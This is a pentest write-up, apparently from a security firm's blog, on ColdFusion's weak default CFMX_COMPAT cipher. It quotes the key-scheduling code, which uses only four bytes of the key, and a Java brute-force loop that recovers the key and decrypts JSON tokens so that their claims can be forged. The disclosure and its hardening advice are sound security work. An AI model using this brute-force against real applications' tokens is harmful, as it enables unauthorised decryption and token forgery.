A recent pentest involving ColdFusion led us to discover the fabulous and
infamous encryption algorithm *CFMX_COMPAT*.

## What is *CFMX_COMPAT*?

*CFMX_COMPAT* is an old encryption algorithm available in ColdFusion Web
applications framework.

In 2018, it is still exposed by the latest ColdFusion API functions Encrypt, EncryptBinary and Hash.

Since ColdFusion MX 7 (2005), all these functions accept an **optional**
argument *algorithm* which allows developers to use stronger (or not)
encryption algorithms. The **default value** is *CFMX_COMPAT* for encryption
or *MD5* for hashing.

Concerning the encryption key used with *CFMX_COMPAT*, the documentation says:

For the CFMX_COMPAT algorithm, any combination of any number of characters; used as a seed used to generate a 32-bit encryption key.

Several open-source implementations of the algorithm are available online: ruby, Java, nodejs and C#.

## The 32-bit encryption key

So let's see how the secret key is mixed to generate the tiny 32 bits encryption key.

The code first stretches the seed to 12 bytes with some fixed data:

private void setKey(String key) { int i; m_Key = key; String localKey = key; if(isEmpty(localKey)) localKey = "Default Seed"; char[] Seed = new char[localKey.length() >= 12 ? localKey.length() : 12]; m_Key.getChars(0, m_Key.length(), Seed, 0); int originalLength = m_Key.length(); for(i = 0; originalLength + i < 12; i++) Seed[originalLength + i] = Seed[i]; // to be continued

The code then set up the encryption state (called LFSR A/B/C):

for(i = 0; i < 4; i++) { m_LFSR_A = (m_LFSR_A <<= 8) | Seed[i + 4]; m_LFSR_B = (m_LFSR_B <<= 8) | Seed[i + 4]; m_LFSR_C = (m_LFSR_C <<= 8) | Seed[i + 4]; } if(0 == m_LFSR_A)m_LFSR_A = 0x13579bdf; if(0 == m_LFSR_B)m_LFSR_B = 0x2468ace0; if(0 == m_LFSR_C)m_LFSR_C = 0xfdb97531; }

No need to be called Bruce Schneier here to understand the **big** problem.
Only 4 bytes of the secret are used. They are not even mixed, scrambled
or anything. This key is copied into `Seed`

and then padded with itself.

So that means the following 3 encryption keys will generate the same cryptographic states:

- @BcD
**efgh**I-2018 - aaaa
**efgh** - ____
**efgh**

## Breaking military-level encryption

According to the code of the algorithm, it looks like the developers tried
to implement a *secure proprietary algorithm* that mixes LFSR B with C based
on the output of LFSR A.

The reality is different but the most important thing for us is that it is a very fast algorithm.

While there are probably smarter ways to solve this problem we decided to just bruteforce the 32-bit key using our beowulf cluster.

The only requirement to recover the plain-text and the partial secret password at the same time is to implement a clear-text filter to skip invalid candidate keys.

In our context, we wanted to forge arbitrary claims in encrypted tokens. Before that, we needed to decrypt a valid one. We thought that tokens were likely to be JSON dictionaries using only ASCII characters:

for (int i=0; i<M; ++i) { key[4] = charset[i]; for (int j=0; j<M; ++j) { key[5] = charset[j]; for (int k=0; k<M; ++k) { key[6] = charset[k]; for (int l=0; l<M; ++l) { key[7] = charset[l]; String K = new String(key); Bla b = new Bla(); byte[] out = b.transformString(K, in); if (out[0] == (byte)123 && out[out.length-1] == (byte)125 && is_ascii(out)) { String found = new String(out, "UTF-8"); System.out.println("Found " + K + " // " + found); i = j = k = l = M; break; } } } } }

## Conclusion

Well... *CFMX_COMPAT* should not be used. The argument *algorithm* of
ColdFusion security functions should **always** be specified if you don't want
to end up using a weak algorithm (which also includes *MD5*).

To be honest with you, the author started reading the key scheduling code
**after** starting a PoC to recover the LFSR internal states :]

So the real conclusion is: don't start trying to revert cipher rounds before looking at the key scheduling if you don't like loosing time...

Fun fact, the 2 Synacktiv security experts who initially faced the encryption
algorithm attacked it in black box without knowing it was *CFMX_COMPAT*. They
still managed to bit-flip the cipher to meet their goal.

Sad fact, after compromising the server, we realized our customer was using a strong 20+ mixed-charset password as an encryption key. This nice entropy has been lost without any respect thanks to an optional argument.